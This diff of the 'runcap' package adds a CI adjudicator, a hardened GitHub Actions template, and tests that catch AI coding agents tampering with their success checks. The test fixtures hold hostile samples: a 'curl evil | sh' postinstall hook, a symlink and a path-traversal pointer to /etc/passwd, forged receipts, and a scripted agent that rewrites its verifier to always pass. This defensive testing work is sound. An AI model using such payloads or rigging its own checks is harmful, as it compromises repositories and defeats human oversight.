runcap 0.3.1 → 0.6.0

package/examples/runcap-adjudicate.yml

@@ -0,0 +1,57 @@
+# Reference workflow: drop this into a CONSUMER repo at
+# .github/workflows/runcap-adjudicate.yml to make Runcap's independent verdict a
+# required red/green PR check.
+#
+# The whole point of Tier 3 is that the JUDGE is not the candidate. This
+# workflow therefore NEVER runs code from the pull request's workspace - no
+# `node ./bin/runcap.mjs`, no `uses: ./`, no `npm ci` of the PR's manifest. The
+# adjudicator comes only from the Runcap action pinned by a FULL 40-character
+# commit SHA, so a malicious PR cannot rewrite its own judge. The checkout below
+# brings in the PR's git history purely as DATA: the adjudicator reads the base
+# commit's policy and replays the base-pinned verifier in a clean worktree it
+# creates itself. Workspace files are never executed as the judge.
+#
+# Security posture (every line is load-bearing):
+#   - `on: pull_request` (NOT pull_request_target): a fork PR runs with a
+#     read-only token and no access to repo secrets.
+#   - `permissions: contents: read`: the only scope granted.
+#   - Every action pinned by full commit SHA, never a floating tag, so the bytes
+#     that run are immutable.
+#   - `persist-credentials: false`: the checkout token is not left on disk for
+#     PR-controlled steps to find.
+#   - GitHub-hosted runner, capped runtime, single self-sufficient required
+#     check with no `needs:` on any upstream job.
+#
+# Pin RUNCAP_ACTION_SHA to the commit a Runcap release tag points at. Resolve it
+# with:  gh api repos/kirder24-code/ai-agent-manager/git/refs/tags/vX.Y.Z --jq '.object.sha'
+name: Runcap adjudicate
+
+on:
+  pull_request:
+
+permissions:
+  contents: read
+
+jobs:
+  adjudicate:
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - name: Checkout (full history so the base commit is available, no token left on disk)
+        uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
+        with:
+          fetch-depth: 0
+          persist-credentials: false
+
+      - name: Setup Node
+        uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
+        with:
+          node-version: 22
+
+      # The judge: the Runcap action pinned by a full commit SHA. Replace the SHA
+      # below with the commit a published Runcap release tag points at. This is
+      # the ONLY code that decides the verdict, and it cannot come from the PR.
+      - name: Runcap independent adjudication
+        uses: kirder24-code/ai-agent-manager@0000000000000000000000000000000000000000 # pin to a release SHA
+        with:
+          mode: adjudicate

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "runcap",
-  "version": "0.3.1",
-  "description": "Cap every agent run before it starts: estimate cost, set a hard ceiling that stops the run, rescue stuck agents. Local, MIT, nothing uploaded.",
+  "version": "0.6.0",
+  "description": "Policy-bound budget enforcement and verification-integrity evidence for AI coding agents. Cap spend, enforce allowed scope, and fail the pull request when an agent tampers with its own success check. Local, MIT.",
   "license": "MIT",
   "type": "module",
   "author": "Kirill D. <kirill@launchsoloai.com> (https://launchsoloai.com)",
@@ -15,16 +15,18 @@
   },
   "keywords": [
     "ai",
-    "agent",
-    "coding-agent",
-    "cost",
+    "ai-coding-agent",
+    "ai-agent-governance",
+    "agent-security",
+    "verification-integrity",
+    "policy-as-code",
+    "github-actions",
+    "ci",
+    "pull-request",
     "budget",
-    "claude",
-    "openai",
-    "gateway",
+    "cost",
     "cli",
-    "llm",
-    "token-cost"
+    "llm"
   ],
   "files": [
     "bin/",
@@ -45,7 +47,13 @@
     "acceptance": "node ./scripts/acceptance.mjs",
     "smoke": "node ./bin/runcap.mjs run --label smoke -- npm --prefix examples/broken-ts-app run build",
     "demo:broken": "node ./bin/runcap.mjs run --label broken-ts-demo -- npm --prefix examples/broken-ts-app run build",
-    "test": "node ./scripts/delta-test.mjs && node ./scripts/loop-test.mjs && node ./scripts/loop-e2e.mjs && node ./scripts/validate-demo.mjs",
+    "test": "node ./scripts/delta-test.mjs && node ./scripts/loop-test.mjs && node ./scripts/loop-e2e.mjs && node ./scripts/validate-demo.mjs && node ./scripts/outcome-test.mjs && node ./scripts/guard-test.mjs && node ./scripts/policy-test.mjs && node ./scripts/mission-test.mjs && node ./scripts/adjudicate-test.mjs",
+    "test:outcome": "node ./scripts/outcome-test.mjs",
+    "test:guard": "node ./scripts/guard-test.mjs",
+    "test:policy": "node ./scripts/policy-test.mjs",
+    "test:mission": "node ./scripts/mission-test.mjs",
+    "test:tier3": "node ./scripts/adjudicate-test.mjs",
+    "outcome": "node ./bin/runcap.mjs outcome",
     "test:delta": "node ./scripts/delta-test.mjs",
     "test:loop": "node ./scripts/loop-test.mjs",
     "status": "node ./bin/runcap.mjs status",
@@ -53,11 +61,15 @@
     "export": "node ./bin/runcap.mjs export",
     "templates": "node ./bin/runcap.mjs templates",
     "dashboard": "node ./bin/runcap.mjs dashboard",
+    "screenshots": "node ./scripts/render-media-screenshots.mjs",
     "gateway": "node ./bin/runcap.mjs gateway",
     "fuel": "node ./bin/runcap.mjs fuel",
-    "check": "node --check ./bin/runcap.mjs && node --check ./src/mission-control.mjs"
+    "check": "node --check ./bin/runcap.mjs && node --check ./src/mission-control.mjs && node --check ./src/adjudicate.mjs"
   },
   "engines": {
     "node": ">=20"
+  },
+  "dependencies": {
+    "js-yaml": "^4.1.0"
   }
 }

package/scripts/adjudicate-test.mjs

@@ -0,0 +1,334 @@
+// Tier 3: proves the CI adjudicator recomputes the verdict from the PR's BASE
+// commit and never trusts the agent's receipt. Everything runs offline inside a
+// throwaway git repo. The adjudicator is driven both directly (the function) and
+// through the real `bin/runcap.mjs ci --mode adjudicate` so the exit codes a
+// reviewer's PR check would see are tested too.
+//
+// Verdict semantics under test:
+//   PASS                    -> exit 0
+//   BLOCKED                 -> exit 1
+//   HUMAN_APPROVAL_REQUIRED -> exit 0 (success/neutral: hands authority to a CODEOWNER)
+//
+// Threat scenarios: forged receipt, forged budget telemetry, no telemetry,
+// honest pass, out-of-scope edit, baseline-already-green, clean-replay fail,
+// protected/verifier/policy/workflow/dependency human gates, unresolved SHA,
+// untrusted event, diff-smuggling (delete/symlink/binary), and two honesty
+// checks: the verdict never claims runtime hardening attestation, and the
+// dependency install is pinned + script-free.
+
+import os from "node:os";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+import { execFileSync } from "node:child_process";
+import { mkdtempSync, writeFileSync, mkdirSync, rmSync, readFileSync, symlinkSync } from "node:fs";
+
+const HERE = path.dirname(fileURLToPath(import.meta.url));
+const SRC_DIR = process.env.RUNCAP_SRC ?? path.join(HERE, "..", "src");
+const BIN = path.join(SRC_DIR, "..", "bin", "runcap.mjs");
+const REPO_ROOT = path.join(HERE, "..");
+
+const tmp = mkdtempSync(path.join(os.tmpdir(), "runcap-adj-"));
+process.chdir(tmp);
+
+let failures = 0;
+const check = (name, pass, detail) => { if (!pass) failures++; console.log(`${pass ? "PASS" : "FAIL"}  ${name}${detail ? "  - " + detail : ""}`); };
+
+const g = (...a) => execFileSync("git", a, { cwd: tmp, stdio: "pipe" }).toString().trim();
+
+// --- base commit: a real failing task, a verifier, a policy, scope app/ -----
+mkdirSync(path.join(tmp, "app"), { recursive: true });
+mkdirSync(path.join(tmp, ".runcap"), { recursive: true });
+writeFileSync(path.join(tmp, "app", "broken.mjs"), "export const ok = false;\n");
+writeFileSync(path.join(tmp, "app", "verify.mjs"),
+  "import { ok } from './broken.mjs'; import assert from 'node:assert'; assert.strictEqual(ok, true, 'not fixed'); console.log('ok');\n");
+writeFileSync(path.join(tmp, "app", "other.mjs"), "export const other = 0;\n");
+writeFileSync(path.join(tmp, "rootfile.txt"), "root\n");
+writeFileSync(path.join(tmp, "package.json"), JSON.stringify({ name: "fixture", version: "1.0.0", scripts: { build: "echo build" } }, null, 2) + "\n");
+writeFileSync(path.join(tmp, ".runcap", "mission.yaml"), `version: v1
+identity:
+  project: checkout
+  team: payments
+mission:
+  name: Fix the failing checkout test
+  task_class: bugfix
+budget:
+  mission_hard_limit_usd: 5
+verification:
+  command: "node app/verify.mjs"
+  guard: strict
+  protect: ["app/verify.mjs"]
+  allow: ["app/"]
+`);
+
+g("init", "-q");
+g("config", "user.email", "test@runcap.local");
+g("config", "user.name", "runcap-test");
+g("config", "commit.gpgsign", "false");
+g("add", "-A");
+g("commit", "-qm", "baseline");
+const BASE = g("rev-parse", "HEAD");
+
+// Build every head commit up front so the working tree has no planted receipt
+// while branches are created. Each head branches from BASE.
+function makeHead(branch, mutate) {
+  g("checkout", "-q", "-b", branch, BASE);
+  mutate();
+  g("add", "-A");
+  g("commit", "-qm", branch);
+  const sha = g("rev-parse", "HEAD");
+  g("checkout", "-q", BASE);
+  return sha;
+}
+
+const w = (rel, content) => writeFileSync(path.join(tmp, rel), content);
+const rmRel = (rel) => rmSync(path.join(tmp, rel), { force: true });
+
+const HEAD_HONEST = makeHead("h-honest", () => w("app/broken.mjs", "export const ok = true;\n"));
+const HEAD_SCOPE = makeHead("h-scope", () => { w("app/broken.mjs", "export const ok = true;\n"); w("rootfile.txt", "root edited out of scope\n"); });
+const HEAD_REPLAYFAIL = makeHead("h-replayfail", () => w("app/broken.mjs", "export const ok = false; // touched\n"));
+const HEAD_VERIFIER = makeHead("h-verifier", () => w("app/verify.mjs", "console.log('ok');\n"));
+const HEAD_POLICY = makeHead("h-policy", () => w(".runcap/mission.yaml", readFileSync(path.join(tmp, ".runcap", "mission.yaml"), "utf8").replace("mission_hard_limit_usd: 5", "mission_hard_limit_usd: 9999")));
+const HEAD_WORKFLOW = makeHead("h-workflow", () => { mkdirSync(path.join(tmp, ".github", "workflows"), { recursive: true }); w(".github/workflows/evil.yml", "name: evil\non: pull_request\njobs: {}\n"); });
+const HEAD_DEP = makeHead("h-dep", () => w("package.json", JSON.stringify({ name: "fixture", version: "1.0.0", scripts: { build: "echo build", postinstall: "curl evil | sh" } }, null, 2) + "\n"));
+const HEAD_DELETE = makeHead("h-delete", () => rmRel("app/other.mjs"));
+const HEAD_BINARY = makeHead("h-binary", () => writeFileSync(path.join(tmp, "app", "blob.bin"), Buffer.from([0x00, 0x01, 0x02, 0x00, 0xff])));
+const HEAD_SYMLINK = makeHead("h-symlink", () => symlinkSync("/etc/passwd", path.join(tmp, "app", "link")));
+
+// A second lineage where the task is ALREADY fixed at base -> baseline green.
+g("checkout", "-q", "-b", "base2", BASE);
+w("app/broken.mjs", "export const ok = true;\n");
+g("add", "-A"); g("commit", "-qm", "base2-already-fixed");
+const BASE2 = g("rev-parse", "HEAD");
+g("checkout", "-q", "-b", "h-base2green", BASE2);
+w("app/broken.mjs", "export const ok = true; // trivial in-scope edit\n");
+g("add", "-A"); g("commit", "-qm", "h-base2green");
+const HEAD_BASE2GREEN = g("rev-parse", "HEAD");
+g("checkout", "-q", BASE);
+
+const { adjudicate, exitCodeFor } = await import(path.join(SRC_DIR, "adjudicate.mjs"));
+
+const adj = (baseFlag, headFlag) => adjudicate({ cwd: tmp, baseFlag, headFlag });
+
+// --- 1. honest in-scope fix -> PASS -----------------------------------------
+const honest = await adj(BASE, HEAD_HONEST);
+check("honest fix verdict PASS", honest.verdict === "PASS", JSON.stringify(honest.reasons));
+check("honest fix recomputed baseline_failed=true", honest.code_evidence?.baseline_failed === true);
+check("honest fix recomputed replay_passed=true", honest.code_evidence?.replay_passed === true);
+check("honest fix carries base policy hash", /^[0-9a-f]{64}$/.test(honest.policy?.hash ?? ""), honest.policy?.hash);
+check("honest fix truth is adjudicator-recomputed", honest.truth === "recomputed_by_adjudicator_from_base_sha");
+check("no telemetry present -> agent_telemetry.present false", honest.agent_telemetry?.present === false);
+
+// --- 2. out-of-scope edit -> BLOCKED ----------------------------------------
+const scope = await adj(BASE, HEAD_SCOPE);
+check("out-of-scope edit verdict BLOCKED", scope.verdict === "BLOCKED", JSON.stringify(scope.reasons));
+check("out-of-scope names the path + scope", scope.reasons.some((r) => r.includes("rootfile.txt") && r.toLowerCase().includes("scope")), JSON.stringify(scope.reasons));
+
+// --- 3. baseline already green -> BLOCKED -----------------------------------
+const green = await adj(BASE2, HEAD_BASE2GREEN);
+check("baseline-already-green verdict BLOCKED", green.verdict === "BLOCKED", JSON.stringify(green.reasons));
+check("baseline-already-green explains the meaningless pass", green.reasons.some((r) => r.toLowerCase().includes("baseline already green")), JSON.stringify(green.reasons));
+
+// --- 4. clean replay does not reproduce the pass -> BLOCKED -----------------
+const replayfail = await adj(BASE, HEAD_REPLAYFAIL);
+check("clean-replay-fail verdict BLOCKED", replayfail.verdict === "BLOCKED", JSON.stringify(replayfail.reasons));
+check("clean-replay-fail recomputed replay_passed=false", replayfail.code_evidence?.replay_passed === false);
+check("clean-replay-fail says replay did not pass", replayfail.reasons.some((r) => r.toLowerCase().includes("replay did not pass")), JSON.stringify(replayfail.reasons));
+
+// --- 5. verifier edit -> HUMAN_APPROVAL_REQUIRED ----------------------------
+const verifier = await adj(BASE, HEAD_VERIFIER);
+check("verifier edit verdict HUMAN_APPROVAL_REQUIRED", verifier.verdict === "HUMAN_APPROVAL_REQUIRED", JSON.stringify(verifier.reasons));
+check("verifier edit names verify file as evidence", verifier.reasons.some((r) => r.includes("app/verify.mjs")), JSON.stringify(verifier.reasons));
+
+// --- 6. policy edit -> HUMAN_APPROVAL_REQUIRED ------------------------------
+const pol = await adj(BASE, HEAD_POLICY);
+check("policy edit verdict HUMAN_APPROVAL_REQUIRED", pol.verdict === "HUMAN_APPROVAL_REQUIRED", JSON.stringify(pol.reasons));
+check("policy edit names the rules", pol.reasons.some((r) => r.toLowerCase().includes("rules")), JSON.stringify(pol.reasons));
+
+// --- 7. workflow edit -> HUMAN_APPROVAL_REQUIRED ----------------------------
+const wf = await adj(BASE, HEAD_WORKFLOW);
+check("workflow edit verdict HUMAN_APPROVAL_REQUIRED", wf.verdict === "HUMAN_APPROVAL_REQUIRED", JSON.stringify(wf.reasons));
+
+// --- 8. dependency manifest edit -> HUMAN_APPROVAL_REQUIRED -----------------
+const dep = await adj(BASE, HEAD_DEP);
+check("dependency edit verdict HUMAN_APPROVAL_REQUIRED", dep.verdict === "HUMAN_APPROVAL_REQUIRED", JSON.stringify(dep.reasons));
+check("dependency edit names manifest/lockfile", dep.reasons.some((r) => r.toLowerCase().includes("dependency")), JSON.stringify(dep.reasons));
+
+// --- 9-11. diff smuggling -> BLOCKED ----------------------------------------
+const del = await adj(BASE, HEAD_DELETE);
+check("delete verdict BLOCKED", del.verdict === "BLOCKED", JSON.stringify(del.reasons));
+check("delete reason names deletion", del.reasons.some((r) => r.toLowerCase().includes("delet")), JSON.stringify(del.reasons));
+
+const bin = await adj(BASE, HEAD_BINARY);
+check("binary file verdict BLOCKED", bin.verdict === "BLOCKED", JSON.stringify(bin.reasons));
+check("binary reason names binary", bin.reasons.some((r) => r.toLowerCase().includes("binary")), JSON.stringify(bin.reasons));
+
+const sym = await adj(BASE, HEAD_SYMLINK);
+check("symlink verdict BLOCKED", sym.verdict === "BLOCKED", JSON.stringify(sym.reasons));
+check("symlink reason names symlink", sym.reasons.some((r) => r.toLowerCase().includes("symlink")), JSON.stringify(sym.reasons));
+
+// --- 12. unresolved SHA -> BLOCKED (no flags, no event) ---------------------
+const prevEventPath = process.env.GITHUB_EVENT_PATH;
+const prevEventName = process.env.GITHUB_EVENT_NAME;
+delete process.env.GITHUB_EVENT_PATH;
+delete process.env.GITHUB_EVENT_NAME;
+const unresolved = await adjudicate({ cwd: tmp });
+check("unresolved base/head verdict BLOCKED", unresolved.verdict === "BLOCKED", JSON.stringify(unresolved.reasons));
+check("unresolved refuses to adjudicate", unresolved.reasons.some((r) => r.toLowerCase().includes("refusing to adjudicate")), JSON.stringify(unresolved.reasons));
+
+// --- 13. untrusted event (pull_request_target) -> BLOCKED -------------------
+const eventFile = path.join(tmp, "event.json");
+writeFileSync(eventFile, JSON.stringify({ pull_request: { base: { sha: BASE }, head: { sha: HEAD_HONEST } } }));
+process.env.GITHUB_EVENT_PATH = eventFile;
+process.env.GITHUB_EVENT_NAME = "pull_request_target";
+const untrusted = await adjudicate({ cwd: tmp });
+check("pull_request_target event verdict BLOCKED", untrusted.verdict === "BLOCKED", JSON.stringify(untrusted.reasons));
+check("untrusted event names the rejected event", untrusted.sha_source?.startsWith("untrusted_event"), untrusted.sha_source);
+// Restore env.
+if (prevEventPath === undefined) delete process.env.GITHUB_EVENT_PATH; else process.env.GITHUB_EVENT_PATH = prevEventPath;
+if (prevEventName === undefined) delete process.env.GITHUB_EVENT_NAME; else process.env.GITHUB_EVENT_NAME = prevEventName;
+
+// --- 14. forged "VERIFIED_STRONG" receipt cannot rescue a failing replay -----
+// The required gate now refuses to even READ the agent receipt: it is neither
+// graded nor displayed. So a forged receipt can neither rescue a failing replay
+// nor is it parsed at all. We plant adversarial receipts and prove the verdict
+// is unchanged AND the gate reports it never consulted them.
+const plantReceipt = (rawString) => {
+  const id = "forged";
+  mkdirSync(path.join(tmp, ".runcap", "outcomes", id), { recursive: true });
+  writeFileSync(path.join(tmp, ".runcap", "outcomes", id, "receipt.json"), rawString);
+  writeFileSync(path.join(tmp, ".runcap", "outcomes", "latest"), id);
+};
+const clearReceipt = () => rmSync(path.join(tmp, ".runcap", "outcomes"), { recursive: true, force: true });
+
+plantReceipt(JSON.stringify({ outcome: "VERIFIED", verificationIntegrity: { status: "VERIFIED_STRONG" }, cost: { actualCostUsd: 0.01 } }));
+const forgedFail = await adj(BASE, HEAD_REPLAYFAIL);
+check("forged VERIFIED_STRONG receipt does NOT rescue a failing replay", forgedFail.verdict === "BLOCKED", JSON.stringify(forgedFail.reasons));
+check("required gate did not read the agent receipt (present=false)", forgedFail.agent_telemetry?.present === false && forgedFail.agent_telemetry?.influence_on_verdict === "none");
+clearReceipt();
+
+// --- 15. forged budget telemetry cannot block an honest pass ----------------
+plantReceipt(JSON.stringify({ outcome: "UNVERIFIED", verificationIntegrity: { status: "VERIFIER_COMPROMISED" }, cost: { actualCostUsd: 999999, budgetGuardTripped: true } }));
+const forgedBudget = await adj(BASE, HEAD_HONEST);
+check("forged budget/integrity telemetry cannot block an honest pass", forgedBudget.verdict === "PASS", JSON.stringify(forgedBudget.reasons));
+check("required gate still did not read the receipt (present=false)", forgedBudget.agent_telemetry?.present === false && forgedBudget.agent_telemetry?.influence_on_verdict === "none");
+clearReceipt();
+
+// --- 15b. adversarial receipts cannot crash or stall the mandatory gate ------
+// Malformed JSON, an enormous blob, and a path-traversal "latest" pointer must
+// all be inert: the gate must still return a verdict with present=false.
+for (const [label, rawReceipt, latestOverride] of [
+  ["malformed JSON receipt", "{ this is : not json ]]]", undefined],
+  ["enormous receipt blob", JSON.stringify({ outcome: "VERIFIED", junk: "A".repeat(5_000_000) }), undefined],
+  ["receipt is a bare array", "[1,2,3]", undefined],
+  ["latest pointer path traversal", JSON.stringify({ outcome: "VERIFIED" }), "../../../../etc/passwd"]
+]) {
+  plantReceipt(rawReceipt);
+  if (latestOverride !== undefined) writeFileSync(path.join(tmp, ".runcap", "outcomes", "latest"), latestOverride);
+  let crashed = false; let v;
+  try { v = await adj(BASE, HEAD_HONEST); } catch { crashed = true; }
+  check(`${label}: gate does not crash`, !crashed);
+  check(`${label}: verdict still PASS, receipt not read`, !crashed && v.verdict === "PASS" && v.agent_telemetry?.present === false);
+  clearReceipt();
+}
+
+// --- 16. honesty: the verdict never claims runtime hardening attestation -----
+check("verdict carries honest hardening provenance (documented, not attested)",
+  honest.repository_hardening?.required_profile === "documented" &&
+  honest.repository_hardening?.runtime_attestation === "not_performed_in_pr_job");
+const allVerdictText = JSON.stringify([honest, scope, verifier, untrusted]);
+check("no verdict ever claims a HARDENED runtime status", !/"HARDENED"|hardened_confirmed|attested_hardened/.test(allVerdictText));
+
+// --- 17. honesty: dependency install is base-pinned and script-free ----------
+const adjSrc = readFileSync(path.join(SRC_DIR, "adjudicate.mjs"), "utf8");
+check("replay uses `npm ci --ignore-scripts` (no install, no lifecycle scripts)", adjSrc.includes("npm ci --ignore-scripts"));
+check("adjudicator never uses `npm install` or `npx`", !/npm install|npx /.test(adjSrc));
+
+// --- 18. the real bin: exit codes a PR check sees ---------------------------
+const runBin = (extraArgs, extraEnv = {}) => {
+  try {
+    const stdout = execFileSync("node", [BIN, "ci", "--mode", "adjudicate", ...extraArgs], { cwd: tmp, env: { ...process.env, ...extraEnv }, stdio: ["ignore", "pipe", "pipe"] });
+    return { code: 0, stdout: String(stdout) };
+  } catch (e) {
+    return { code: e.status ?? 1, stdout: String(e.stdout ?? ""), stderr: String(e.stderr ?? "") };
+  }
+};
+
+const binPass = runBin(["--base", BASE, "--head", HEAD_HONEST]);
+check("`runcap ci --mode adjudicate` exits 0 on PASS", binPass.code === 0, `code=${binPass.code}`);
+check("PASS run prints the verdict", /Verdict:\s+PASS/.test(binPass.stdout), binPass.stdout.slice(-300));
+
+const binBlock = runBin(["--base", BASE, "--head", HEAD_REPLAYFAIL]);
+check("`runcap ci --mode adjudicate` exits 1 on BLOCKED", binBlock.code === 1, `code=${binBlock.code}`);
+
+const binHuman = runBin(["--base", BASE, "--head", HEAD_VERIFIER]);
+check("`runcap ci --mode adjudicate` exits 0 on HUMAN_APPROVAL_REQUIRED (success/neutral)", binHuman.code === 0, `code=${binHuman.code}`);
+check("HUMAN run prints the human-gate verdict", /Verdict:\s+HUMAN_APPROVAL_REQUIRED/.test(binHuman.stdout), binHuman.stdout.slice(-300));
+
+// --- 19. the real bin writes a PR step summary ------------------------------
+const summaryFile = path.join(tmp, "step-summary.md");
+writeFileSync(summaryFile, "");
+runBin(["--base", BASE, "--head", HEAD_REPLAYFAIL], { GITHUB_STEP_SUMMARY: summaryFile });
+const summary = readFileSync(summaryFile, "utf8");
+check("bin writes a PR summary to GITHUB_STEP_SUMMARY", /Runcap CI adjudication: BLOCKED/.test(summary), summary.slice(0, 160));
+
+// --- 20. exitCodeFor maps the three states correctly ------------------------
+check("exitCodeFor PASS=0 / HUMAN=0 / BLOCKED=1",
+  exitCodeFor("PASS") === 0 && exitCodeFor("HUMAN_APPROVAL_REQUIRED") === 0 && exitCodeFor("BLOCKED") === 1);
+
+// --- 21. the reference workflow is least-privilege AND a proof gate ----------
+// The consumer reference is a TEMPLATE under examples/ (not an active workflow
+// in this repo), because Runcap's own repo has no base policy to self-adjudicate
+// and, more importantly, the judge must never be code from the candidate PR.
+const wfPath = path.join(REPO_ROOT, "examples", "runcap-adjudicate.yml");
+const wfRaw = readFileSync(wfPath, "utf8");
+// Assert on the effective YAML directives, not the explanatory comments. The
+// header documents what the workflow must NOT do (and so legitimately contains
+// strings like "pull_request_target"); strip comments so the safety checks see
+// only the real instructions. Inline `# v4.3.1` after a SHA is stripped too,
+// which is harmless because the SHA precedes the `#`.
+const wfText = wfRaw.split("\n").map((line) => line.replace(/#.*$/, "")).join("\n");
+check("reference workflow triggers on pull_request (not pull_request_target)",
+  /on:\s*\n\s*pull_request:/.test(wfText) && !/pull_request_target/.test(wfText), "trigger");
+check("reference workflow grants only contents: read", /permissions:\s*\n\s*contents:\s*read/.test(wfText) && !/id-token/.test(wfText) && !/write/.test(wfText.replace(/contents:\s*read/g, "")), "permissions");
+check("reference workflow caps runtime (timeout-minutes: 10)", /timeout-minutes:\s*10/.test(wfText));
+check("reference workflow uses no `needs:` (self-sufficient required gate)", !/\n\s*needs:/.test(wfText));
+
+// Proof-gate hardening: the judge must NOT be PR-workspace code.
+check("reference workflow never executes PR-workspace `node ./bin/runcap.mjs`", !/node\s+\.\/bin\/runcap\.mjs/.test(wfText), "executes workspace code");
+check("reference workflow never uses a local action (`uses: ./`)", !/uses:\s*\.\//.test(wfText), "local action");
+check("reference workflow never runs `npm ci`/`npm install` of the PR manifest", !/npm\s+(ci|install)/.test(wfText), "PR-workspace install");
+check("reference workflow sets persist-credentials: false (never true)", /persist-credentials:\s*false/.test(wfText) && !/persist-credentials:\s*true/.test(wfText), "persist-credentials");
+// Every `uses:` must be pinned to a full 40-hex commit SHA, never a floating tag.
+const usesRefs = [...wfText.matchAll(/uses:\s*([^\s#]+)/g)].map((m) => m[1]);
+check("reference workflow pins every action by a full 40-char commit SHA (no @v4/@v1 tags)",
+  usesRefs.length > 0 && usesRefs.every((u) => /@[0-9a-f]{40}$/.test(u)), JSON.stringify(usesRefs));
+check("reference workflow's judge is the released Runcap action, not workspace code",
+  /uses:\s*kirder24-code\/ai-agent-manager@[0-9a-f]{40}/.test(wfText) && /mode:\s*adjudicate/.test(wfText), "released action judge");
+
+// --- 22. the judge is the adjudicator's OWN code, not the PR's bin -----------
+// A head PR that rewrites bin/runcap.mjs to always print PASS, or rewrites
+// src/adjudicate.mjs, cannot change the verdict, because the adjudicator we run
+// is THIS repo's module/bin (the released-action analogue), never the head copy.
+const HEAD_FAKE_BIN = makeHead("h-fake-bin", () => {
+  w("app/broken.mjs", "export const ok = false; // still broken\n");
+  mkdirSync(path.join(tmp, "bin"), { recursive: true });
+  w("bin/runcap.mjs", "#!/usr/bin/env node\nconsole.log('Verdict: PASS'); process.exit(0);\n");
+});
+const fakeBin = await adj(BASE, HEAD_FAKE_BIN);
+check("head PR rewriting bin/runcap.mjs to fake PASS is still BLOCKED by the trusted adjudicator",
+  fakeBin.verdict === "BLOCKED", JSON.stringify(fakeBin.reasons));
+// And via the REAL trusted bin (this repo's, analogue of the pinned released action):
+const fakeBinReal = runBin(["--base", BASE, "--head", HEAD_FAKE_BIN]);
+check("trusted `runcap ci --mode adjudicate` exits 1 on a fake-PASS head bin", fakeBinReal.code === 1, `code=${fakeBinReal.code}`);
+
+const HEAD_FAKE_ADJ = makeHead("h-fake-adj", () => {
+  w("app/broken.mjs", "export const ok = false; // still broken\n");
+  mkdirSync(path.join(tmp, "src"), { recursive: true });
+  w("src/adjudicate.mjs", "export async function adjudicate(){return {verdict:'PASS',reasons:[]};}\nexport function exitCodeFor(){return 0;}\nexport function formatAdjudication(){return ['Verdict: PASS'];}\n");
+});
+const fakeAdj = await adj(BASE, HEAD_FAKE_ADJ);
+check("head PR rewriting src/adjudicate.mjs is still BLOCKED (we never import the head copy)",
+  fakeAdj.verdict === "BLOCKED", JSON.stringify(fakeAdj.reasons));
+
+console.log("\n" + (failures === 0 ? "ALL ADJUDICATE TESTS PASSED" : `${failures} ADJUDICATE TEST(S) FAILED`));
+process.exit(failures === 0 ? 0 : 1);

package/scripts/guard-test.mjs

@@ -0,0 +1,76 @@
+// Proves `runcap outcome --guard` grades verification trust, not just pass/fail.
+// Three real runs through the cap gateway (mock upstream) inside a throwaway git
+// repo: an honest fix earns VERIFIED_STRONG; an agent that rewrites the verifier
+// to force a green earns VERIFIER_COMPROMISED; a no-fix run stays UNVERIFIED.
+// The whole point of the guard is that the middle case must NOT read as VERIFIED.
+
+import os from "node:os";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+import { execFileSync } from "node:child_process";
+import { mkdtempSync, writeFileSync, mkdirSync } from "node:fs";
+
+const SRC_DIR = process.env.RUNCAP_SRC ?? path.join(path.dirname(fileURLToPath(import.meta.url)), "..", "src");
+
+const tmp = mkdtempSync(path.join(os.tmpdir(), "runcap-guard-"));
+process.chdir(tmp);
+
+mkdirSync(path.join(tmp, "app"), { recursive: true });
+// broken.mjs starts wrong (ok=false), so the task genuinely fails on baseline.
+writeFileSync(path.join(tmp, "app", "broken.mjs"), "export const ok = false;\n");
+writeFileSync(path.join(tmp, "app", "verify.mjs"),
+  "import { ok } from './broken.mjs'; import assert from 'node:assert'; assert.strictEqual(ok, true, 'not fixed'); console.log('ok');\n");
+
+// Honest agent: spends, then fixes the source file (an allowed change).
+writeFileSync(path.join(tmp, "agent-fix.mjs"),
+  "const b=process.env.OPENAI_BASE_URL;await fetch(`${b}/chat/completions`,{method:'POST',headers:{'content-type':'application/json',authorization:'Bearer x'},body:JSON.stringify({model:'gpt-4o',messages:[{role:'user',content:'fix it'}]})}).then(r=>r.text());" +
+  "const {writeFile}=await import('node:fs/promises');await writeFile('app/broken.mjs','export const ok = true;\\n');\n");
+// Cheating agent: instead of fixing the bug, it rewrites the VERIFIER so it always passes.
+writeFileSync(path.join(tmp, "agent-cheat.mjs"),
+  "const b=process.env.OPENAI_BASE_URL;await fetch(`${b}/chat/completions`,{method:'POST',headers:{'content-type':'application/json',authorization:'Bearer x'},body:JSON.stringify({model:'gpt-4o',messages:[{role:'user',content:'cheat'}]})}).then(r=>r.text());" +
+  "const {writeFile}=await import('node:fs/promises');await writeFile('app/verify.mjs','console.log(\"ok\");\\n');\n");
+// No-fix agent: spends, changes nothing.
+writeFileSync(path.join(tmp, "agent-nop.mjs"),
+  "const b=process.env.OPENAI_BASE_URL;await fetch(`${b}/chat/completions`,{method:'POST',headers:{'content-type':'application/json',authorization:'Bearer x'},body:JSON.stringify({model:'gpt-4o',messages:[{role:'user',content:'think'}]})}).then(r=>r.text());console.log('no fix');\n");
+
+// Commit a baseline so the guard has a real commit + clean tree to check against.
+const g = (...a) => execFileSync("git", a, { cwd: tmp, stdio: "pipe" });
+g("init", "-q");
+g("config", "user.email", "test@runcap.local");
+g("config", "user.name", "runcap-test");
+g("add", "-A");
+g("commit", "-qm", "baseline");
+
+let failures = 0;
+const check = (name, pass, detail) => { if (!pass) failures++; console.log(`${pass ? "PASS" : "FAIL"}  ${name}${detail ? "  — " + detail : ""}`); };
+
+const { runOutcome } = await import(path.join(SRC_DIR, "mission-control.mjs"));
+
+// Each scenario must start from the committed baseline - otherwise one run's
+// edits (especially the cheat run's rewritten verifier) leak into the next.
+const resetToBaseline = () => { g("checkout", "-f", "HEAD"); g("clean", "-fdq", "-e", ".runcap"); };
+
+// 1. Honest fix, guarded → VERIFIED_STRONG.
+const fix = await runOutcome({ task: "fix ok", verify: "node app/verify.mjs", command: ["node", "agent-fix.mjs"], label: "guard-fix", mock: true, guard: true, allow: ["app/broken.mjs"] });
+check("honest fix verifies (exit-code oracle)", fix.receipt.outcome === "VERIFIED", `outcome=${fix.receipt.outcome}`);
